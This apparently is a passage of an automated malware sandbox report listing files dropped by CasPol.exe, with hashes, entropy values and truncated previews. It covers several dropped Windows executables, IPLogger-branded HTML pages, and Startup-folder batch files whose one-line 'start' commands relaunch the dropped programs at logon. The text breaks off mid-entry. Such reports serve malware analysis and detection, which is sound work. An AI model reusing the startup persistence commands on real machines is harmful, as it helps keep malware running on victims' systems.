                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\oNBeMrBpQUeJZTBuJ5mgI7VA.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Local\pO9O069hprtxLGedb5CFsbLO.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\pQ6uZvesO0d4NLicCWC7lXTs.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\rCKApTO5apcF0CWhs5J6G9uw.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\rSTe50KCC8r8EbtF86ijRMYC.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\ss18o36u7ZpVeBt30wfMc6QL.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\uScPA2mexaYLqHB3aMjewISk.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7643669
                                                                                                        Entropy (8bit):7.996947593317046
                                                                                                        Encrypted:true
                                                                                                        SSDEEP:196608:91OykiNwE/AJoqsoKQRDKlnbTQwI/S2CU5B2rSGA3s:3OZiNwE/AifQRDTw6orSGA3s
                                                                                                        MD5:5CCF030395F0F69B0C11A11E26B31833
                                                                                                        SHA1:44DC863603CCA79141886313D7F1C95E749B095B
                                                                                                        SHA-256:7D48B37BB9001C586A9F54794DF32CD98303AC9510708A906012A4346203D475
                                                                                                        SHA-512:11F550DE98E3C093DEDF829BFB2DD181F2B759E4C2D286FB9CF8AF6CBB4A70C162C1595C00BD77AA50C3E7FD0A0380572D72BADC141D391A46E911021CD6BCF6
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\vXAyxin9GdGRVJbV0cVRgeZy.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\wPTezzgL34kfssQVp6uEza55.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\wwJcXZC0IBum93LDA1ZMzXtI.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4966712
                                                                                                        Entropy (8bit):7.951095526548766
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:yqRadkj+V67YdCL4tScHb1RHkR5XEubvGN+5AiKFE:yqRaU+A7CLScHb1aRxE4vMurKFE
                                                                                                        MD5:C67B184E265425655EB485932963AF53
                                                                                                        SHA1:B7387C1CA7FB70C03EDB554DB906B026F23C71DF
                                                                                                        SHA-256:F6BE9E93C9FF8FC8111A99D53C1D90FE197B87DED4E99A69222314A17EBC21E4
                                                                                                        SHA-512:5D0876766B83340513927CCA780E9015B6195D29FF6F3CF1024E72084F91396E597709FB0B4543891572D02C3FD264E63D1919E37C89224DCF3CE0DD15F470AF
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....Qe..........".......0.........U..........@.....................................'L...`.............................................................k............K.8-......8...............................(................................................... ..0......................... ..` ......1.....................@..@ .$....4.....................@... 4X....6.....................@..@ .....p7.....................@..@.~"(+)"~'.....7.....................@..@ T&....8.....................@..@.idata........8.....................@....tls..........8..........................themida..G...8.....................`....~"(+)"~.$......................... ..`.~"(+)"~(...........................@....~"(+)"~..J.......J.................`..h.reloc..8.............J................@.rsrc...k.............J.............@..@........

                                                                                                        C:\Users\user\AppData\Local\wzL7YtWHPdRZ8NMx9zj6roAO.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):4356976
                                                                                                        Entropy (8bit):7.967527814287475
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:98304:J1X44t3SGQ20KQ8fTQFYVjsb2ukZkh640j+5QlH/:HxbQ21QC5QrkWU40j+5QF
                                                                                                        MD5:D373FF7CB6AC28B844D9C90FC8F1AB3F
                                                                                                        SHA1:8BD2BD07E929D71F5C27BA7FAB3777F29A4C48E3
                                                                                                        SHA-256:92A53ACF35B82EAF96286B8A5DAB6CEF0513C48DFF9E480FA3486033258C093B
                                                                                                        SHA-512:F89FCE3365F1A9091B2523EA310089C53D67469E1D75B1E842EFF2D59EB2A42FBBB49F03F3A45F9E56734895ADD9AC865E9ADC1DBC0DFC4B34314B48BB0871A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L...6t.c.................>@..ZH......Q.......P@...@...................................B.....................................XB@.d....................pB.p....P......................................p0..@............................................text...T<@......>@................. ..`.data...\iF..P@..>...B@.............@....rsrc.................@.............@..@.reloc...j...P...l....B.............@..B................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\xgYlvCudFc3GJuvg0bXJwObm.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                        Category:dropped
                                                                                                        Size (bytes):263168
                                                                                                        Entropy (8bit):6.52994835847705
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3072:LPywFVBPM+O+GWzYGtlxfSibc7BZAqk5K77cp3HJAXRB3h7ovb1YP:TpPM+tGyjNm1kMsXCBM
                                                                                                        MD5:1C4BA9EB815AD39858DEF7341D3CFFF1
                                                                                                        SHA1:EA2178498AE21F72C1B3E747B52EB2C352D0AAEB
                                                                                                        SHA-256:43B6C8B1F176259C637C7DA21AEAB0FCF0F3934C599CEACB755C937EF71D0238
                                                                                                        SHA-512:F5CE6A136BA922C67E2A7A4B333A3A4196AAEFC7ACF7650B23C206CA4C9F4BD647772C4AF2AFD22F2C21CDC2DD570F34EB47537AFBA4D9E9D4B620FF08BAEEE1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...Ob.b.............................Z....... ....@...........................#.....9.......................................`........P......................`#.....@...............................@3..@............................................text............................... ..`.data...\.... ......................@....rsrc........P.......$..............@..@.reloc..R$...`#..&..................@..B................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                        C:\Users\user\AppData\Local\zihCuAQZJ7sPILn6r3jO9GQY.exe

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:HTML document, Unicode text, UTF-8 text, with very long lines (1460)
                                                                                                        Category:dropped
                                                                                                        Size (bytes):7446
                                                                                                        Entropy (8bit):5.421861304476025
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:192:HLlX+suv13xV1cSHYu+zogDLIIUOb6z5p7KMxSR1yz:H5X+Dv13T1FH0fHIIP69x+u
                                                                                                        MD5:FCAD815E470706329E4E327194ACC07C
                                                                                                        SHA1:C4EDD81D00318734028D73BE94BC3904373018A9
                                                                                                        SHA-256:280D939A66A0107297091B3B6F86D6529EF6FAC222A85DBC82822C3D5DC372B8
                                                                                                        SHA-512:F4031B49946DA7C6C270E0354AC845B5C77B9DFCD267442E0571DD33CCD5146BC352ED42B59800C9D166C8C1EDE61469A00A4E8D3738D937502584E8A1B72485
                                                                                                        Malicious:false
                                                                                                        Reputation:unknown
                                                                                                        Preview:<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="https://cdn.iplogger.org/redirect/brand.png" />..<meta property="og:description" content="yip.su is a Branded Short Domain" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="o

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0JbGAE3KWGgTpIlSSHYLLbge.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.708806871223068
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5xQ/0r4s:fE1qLTwi23a0r3
                                                                                                        MD5:01385EC22C62B0041877B318995C359F
                                                                                                        SHA1:8102B393A277053A1D5D93A10BBC8B6086999566
                                                                                                        SHA-256:3FD541AA5791FCB1FE874274CE4721E228C4B46D66B53C540229255F6D9EA01B
                                                                                                        SHA-512:B5A11339F7965D953D8D2DB69F8547CC33F9B10195B985FD4186758D97B98C7D1A7A5A0E49D0EF1BE7583E7E0590466FBF62C2B6F40DD8DF6A3C739F8DAE6306
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\TuMaHDPzxpAHNRHHe8lrgtR8.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\18MDOkFiY6RdLnWW80t2YsVS.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.837555216843119
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5tTcqq5lMXCHF:fE1qLTwi23hcRMXCHF
                                                                                                        MD5:CA6F10014F663783E8C45EEE8A0C5BFC
                                                                                                        SHA1:BE3005E9A8C0CCFB3DA38B7369F4A1C6D4F7C22B
                                                                                                        SHA-256:6118E2B369FA5BE5BCA21223B797BFC87F36C716019FC3B70B571BD3A566B552
                                                                                                        SHA-512:4CBD5B9FB5722963784068E846EC9AA9998204DBE6404116F0607189058217768C1F1764ED45AE10AAF18F2551C288F3CECBC7B62DC9F6A401C39B5E57B0C0F8
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\H62xkOOft6fSMQ98kaLeH0L3.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1huP7mnhhz1BBpC7Bieke4SE.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.977404849259691
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5dCuYf2v:fE1qLTwi23bYfs
                                                                                                        MD5:50591D72D52E30213A782D5B19381E70
                                                                                                        SHA1:27951ABEC63B12DF05E7EB2D732FA62C1F238BB4
                                                                                                        SHA-256:61D8EAA14D8F4CD44A246947183161FB937DEFB57078971491EAC061925AA3C4
                                                                                                        SHA-512:94CD3C2F80AE0AA897B4DFBB515A507A39107EFBD5B6C7B2E1B5CC8AB81C1500B25F83BF383B8C0313C6198E9AEB598AB7D62E6E39F1482A921CC052A36D779A
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\xgYlvCudFc3GJuvg0bXJwObm.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\24rGNt7xruGwxynNphkn310O.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.984614040372531
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5LUpCpenkAl:fE1qLTwi23SCYnkAl
                                                                                                        MD5:ACBE7CAD744EC7BADCCAC89F323FA40D
                                                                                                        SHA1:263B08EC7B0E8F475EB6671FBEB2F6AE57399C45
                                                                                                        SHA-256:3EFEDA807521200E6C28F4024B72F322BDE09B98ADEFB41C03575BE2115F7B2C
                                                                                                        SHA-512:831D9CF4B173E56554C1E2C595E9371AAD73E6066B1F68D2E13902C01FF7D62AF207B19ADD827ED4001F4F91D957DFA933D91CE0AFD790C8F16E7CED3F6952BD
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\nZyDVnEdKbWT6VJAEI93BfTp.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2MEjFMZug16QWjxKckULCLHU.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.95909437135033
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5RtPP3KTT8Tcal:fE1qLTwi23L36al
                                                                                                        MD5:55C07C0A91F0C98B1183170AA50C8572
                                                                                                        SHA1:F6EAA036147060C0DED53A0FB409AF111141AFF7
                                                                                                        SHA-256:92C76BE8347AF1E24C2F275D207CA57E4F334481DAE8069A671BB229B2816D1D
                                                                                                        SHA-512:43EFAA832F624D7EEDCEF01FFF98F50434A01FBFE93AC6F5F977592C8A0A9025C53A463310DD19C229DCA3A718FD18C607A659A6A5151DBA98162054490AC101
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\4HEo1sjjkhLSQkWpfp7Tvy6i.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2jNh70feoWdNeZn43S0Jdfru.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
                                                                                                        Entropy (8bit):4.917112709993369
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5/T/VGLULVFn:fE1qLTwi23L/VGLQF
                                                                                                        MD5:65391155303F6A50A61F517E49925E6D
                                                                                                        SHA1:A327F52A9251022CD7B283B3BB677B1D27C3FD41
                                                                                                        SHA-256:522DCF77007AD037A8124544819A068DC6077E0DE2CE18175FC5ECC2253270F8
                                                                                                        SHA-512:2AC27EEC40AEE0311031763CD299D7215243CF2F6BFA05246B467310A006F9373A28E448CFCA5156BB1082A94816681FBCF90823A0431C46AB9A2F297614AF72
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\ZfCRGStu7Zk7TsNuGeK3K41q.exe"

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3XGozpYaJZRrKXHyg56y1gn3.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):89
                                                                                                        Entropy (8bit):4.883783888085386
                                                                                                        Encrypted:false
                                                                                                        SSDEEP:3:Ljn9m1qLTVSRE2J5OfWcg3pVoI+ykdan:fE1qLTwi23OfWnpCI+yD
                                                                                                        MD5:FB3A17A3876207C139618912D78A88D0
                                                                                                        SHA1:48ED39279E1EF32F7CD90486025EE9826EC34272
                                                                                                        SHA-256:27B5A1CB387EA0F6FCEE866B11234FE7711F46027B118DB8CD0F00973DDB5630
                                                                                                        SHA-512:03B7F7F34A9157E563E533F717C07FDEA8B99062FE7DEED9027E086FFB0CBF42B495A7F888D7A0FFB48CE7D64C7BC6A09CBB71EFC91E659CBBE2E454745828A1
                                                                                                        Malicious:true
                                                                                                        Reputation:unknown
                                                                                                        Preview:start "" "C:\Users\user\AppData\Local\kSoeiDedOAsNYRmhaJ0MUJfS.exe" --silent --allusers=0

                                                                                                        C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\4aBHXrK8XjSbEjiL1WIQ7Kmf.bat

                                                                                                        Download File
                                                                                                        Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                        Category:dropped
                                                                                                        Size (bytes):68
